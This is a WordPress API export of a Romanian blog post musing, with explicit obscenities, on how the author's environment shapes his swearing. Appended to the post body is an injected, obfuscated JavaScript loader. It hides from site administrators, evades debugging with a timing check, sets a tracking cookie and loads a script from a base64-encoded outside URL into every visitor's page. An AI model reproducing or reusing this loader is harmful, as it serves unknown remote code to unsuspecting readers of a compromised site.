{"id":4760,"date":"2017-09-21T22:48:56","date_gmt":"2017-09-21T19:48:56","guid":{"rendered":"http:\/\/daimon.me\/blog\/?p=4760"},"modified":"2025-10-17T19:52:00","modified_gmt":"2025-10-17T16:52:00","slug":"din-nou-despre-injuraturi","status":"publish","type":"post","link":"http:\/\/daimon.me\/blog\/2017\/09\/din-nou-despre-injuraturi\/","title":{"rendered":"Din nou despre \u00eenjur\u0103turi"},"content":{"rendered":"<div class=\"entry\">\n<p>Cresc\u00eend, am realizat o chestie despre mine. Simpl\u0103. Mediul \u00eemi influen\u0163eaz\u0103 limbajul.<\/p>\n<p>Dac\u0103 m\u0103 duci 3 zile la Cluj, m\u0103 \u00eentorc cu ticurile lor verbale. Bag \u015fi eu &#8220;no&#8221; tot la 10 cuvinte. C\u0103-mi sun\u0103 bine, \u015fi e NOU, \u015fi e .. \u00een\u0163elege\u0163i voi. No servus! No haida! No bine!<\/p>\n<p>Chestia asta se reflect\u0103 \u015fi \u00een \u00eenjur\u0103turi.<\/p>\n<p>Ziceam mai demult c\u0103-l am ca mentor pe nenea de Sade, de la care <a href=\"https:\/\/daimon.me\/blog\/2016\/07\/matrioska\/#desade\">am \u00eenv\u0103\u0163at s\u0103 \u00eenjur<\/a> cu drag. Sigur c\u0103 da. Chiar \u015fi ast\u0103zi, n-am absolut nici o jen\u0103 s\u0103 zic puli \u015fi pizde \u00een jur, sau de anafura mamii m\u0103-tii, sau s\u0103-mi tr\u00eentesc pula \u00een coliva lu&#8217; bunic\u0103-ta. Evident, depinz\u00eend \u015fi de context, c\u0103 nu-s chiar autist.<\/p>\n<p style=\"text-align: center;\">~*~<\/p>\n<p>Da&#8217; chestia amuzant\u0103 este c\u0103, de\u015fi am o colec\u0163ie vast\u0103 de \u00eenjur\u0103turi pe care le \u015ftiu la nivel teoretic, totu\u015fi nu le folosesc. Nu-mi fac parte din vocabularul curent, ci doar din cel latent.<\/p>\n<p>Cam ca la bancuri, de altfel: am citit cu nesa\u0163 o ton\u0103 de c\u0103r\u0163ulii de-alea micu\u0163e cu &#8220;glume despre&#8221;. Glume despre ardeleni. Despre sco\u0163ieni. Despre femei. Despre extratere\u015fti. La un moment dat, \u015ftiam cam orice glum\u0103 disponibil\u0103 pe pia\u0163a de idei. \u00cencepeai s\u0103 zici, \u015fi puteam continua eu.<\/p>\n<p>Bun, da&#8217; \u00een practic\u0103, nu zicem bancuri zilnic. Nici m\u0103car oamenii amuzan\u0163i nu zic bancuri non-stop, ci arunc\u0103 una-dou\u0103 glume finu\u0163e. A\u015fa c\u0103 eu, de\u015fi am \u00een cap mia de bancuri, n-o folosesc la nimic anume. Pentru c\u0103 n-am la ce. Memorie elefantin\u0103, da&#8217; vag inutil\u0103.<\/p>\n<p>Idem, fix idem, \u015fi cu \u00eenjur\u0103turile. Sigur c\u0103 le am mereu la \u00eendem\u00een\u0103. Doar c\u0103 nu se face s\u0103 le folosesc. Cum ar fi s\u0103 m\u0103 \u00eempiedic \u00een \u015fireturi \u00een fa\u0163a recep\u0163ionerei, \u015fi s\u0103 r\u0103cnesc brusc &#8220;<em>FUTU-\u0162I DUMNEZEII M\u0102-tii DE PANTOF!<\/em>&#8221; ? Sau s\u0103 merg prin birou, mi se \u00eent\u00eempl\u0103 ceva banal &#8211;s\u0103 zicem c\u0103-mi intr\u0103 o musc\u0103 \u00een ochi&#8211; iar eu reac\u0163ionez perfect simetric printr-un &#8220;<em>GRIJANIA M\u0102-TII DE C\u0102CAT \u00ceMPU\u0162IT!<\/em>&#8220;. P\u0103i &#8230; mda.<\/p>\n<p>Pur \u015fi simplu, degeaba \u015ftii \u00eenjura, dac\u0103 n-ai \u015fantierul aproape. Palmele se dau finu\u0163 mai nou, \u015fi-n afaceri \u015fi peste tot. Pe bune c\u0103 a\u015ftept momentul \u0103la c\u00eend <em>chiar e nevoie<\/em> de o \u00eenjur\u0103tur\u0103 tras\u0103 cu sete, din fundu&#8217; pl\u0103m\u00eenilor. \u015ei tot a\u015ftept. \u015ei tot a\u015ftept &#8230;<\/p>\n<p>M\u0103car avem blogurile, unde se poate manifesta spiritu&#8217; \u00een toate direc\u0163iile.<\/p>\n<p style=\"text-align: right;\"><span style=\"color: #800000;\"><em>p.s. <a href=\"https:\/\/daimon.me\/blog\/2010\/12\/baga-mi-as-pula\/\">B\u0103ga-mi-a\u015f pula!<\/a><\/em><\/span><\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input .length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2\/>>4);o2=((h2&15)< &lt;4)|(h3>>2);o3=((h3&3)< &lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/script><\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Cresc\u00eend, am realizat o chestie despre mine. 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